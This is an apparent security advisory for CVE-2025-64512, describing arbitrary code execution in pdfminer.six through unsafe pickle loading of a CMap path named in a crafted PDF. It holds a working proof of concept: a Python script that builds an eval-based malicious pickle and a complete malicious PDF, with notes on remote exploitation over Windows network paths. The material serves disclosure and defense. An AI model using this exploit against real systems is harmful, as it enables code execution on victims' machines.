NetSight
IP …
high8.6

CVE-2025-64512

Arbitrary Code Execution in pdfminer.six via Crafted PDF Input

Impact

### Summary pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The `CMapDB._load_data()` function in pdfminer.six uses `pickle.loads()` to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the `cmap/` directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in `.pickle.gz`. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed. ### Details ```python # Vulnerable code in pdfminer/cmapdb.py:233-246 def _load_data(cls, name: str) -> Any: name = name.replace("\0", "") # Insufficient sanitization filename = "%s.pickle.gz" % name # ... path construction ... path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored # ... return type(str(name), (), pickle.loads(gzfile.read())) # Unsafe deserialization ``` An attacker can: 1. Create a malicious PDF with a CMap reference like `/malicious` 2. Place a malicious pickle file at `/malicious.pickle.gz` 3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle 4. The pickle deserialization can execute arbitrary Python code ### POC #### Malicious PDF Create a PDF with a malicious CMAP entry: ``` 5 0 obj << /Type /Font /Subtype /Type0 /BaseFont /MaliciousFont-Identity-H /Encoding /#2Fpdfs#2Fmalicious /DescendantFonts [6 0 R] >> endobj ``` Here the /Encoding points to `/pdfs/malicious`. Pdfminer will append the extension `.pickle.gz` to this filename. Place the PDF in a file called `/pdfs/malicious.pdf`. #### Malicious Pickle Create a malicious, zipped pickle to execute. For example, with this Python script: ```python #!/usr/bin/env python3 import pickle import gzip def create_demo_pickle(): print("Creating demonstration pickle file...") # Create payload that executes code AND returns a dict (as pdfminer expects) class EvilPayload: def __reduce__(self): # This function will be called during unpickling code = "print('Malicious code executed.') or exit(0) or {}" return (eval, (code,)) demo_cmap_data = EvilPayload() # Create the pickle file that the path traversal would access target_path = "./malicious.pickle.gz" try: with gzip.open(target_path, 'wb') as f: pickle.dump(demo_cmap_data, f) print(f"✓ Created demonstration pickle file: {target_path}") return target_path except Exception as e: print(f"✗ Error creating pickle file: {e}") return None if __name__ == "__main__": create_demo_pickle() ``` This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in `/pdfs/malicious.pickle.gz`. #### Test Install pdfminer.six and run `pdf2text.py /pdfs/malicious.pdf`. Instead of processing the PDF as normal you should see the output: ``` $ pdf2txt.py malicious.pdf Malicious code executed! ``` ### Impact If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six. The difficulty in achieving this depends on the OS, see below. #### Linux, MacOS - harder to exploit On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing *and* the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However: * An attacker may find a way to write files to a known location on the target system or * The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion. Overall, there is generally less risk on a Linux or Linux-like system. #### Windows - easier to exploit Windows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS. ### Appendix A complete, malicious PDF is provided here. A dockerized POC is available upon request. ``` %PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >> endobj 4 0 obj << /Length 44 >> stream BT /F1 12 Tf 100 700 Td (Malicious PDF) Tj ET endstream endobj 5 0 obj << /Type /Font /Subtype /Type0 /BaseFont /MaliciousFont-Identity-H /Encoding /#2Fpdfs#2Fmalicious /DescendantFonts [6 0 R] >> endobj 6 0 obj << /Type /Font /Subtype /CIDFontType2 /BaseFont /MaliciousFont /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /FontDescriptor 7 0 R >> endobj 7 0 obj << /Type /FontDescriptor /FontName /MaliciousFont /Flags 4 /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0 /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >> endobj xref 0 8 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000274 00000 n 0000000370 00000 n 0000000503 00000 n 0000000673 00000 n trailer << /Size 8 /Root 1 0 R >> startxref 871 %%EOF ```

Affected packages

EcosystemPackageAffectedFixed in
pippdfminer.six< 2025110720251107

Affected products

VendorProductAffected versions
PdfminerPdfminer.Six
before 2025-11-07
DebianDebian Linux
Version 11.0

Weakness classification

CWE-502

References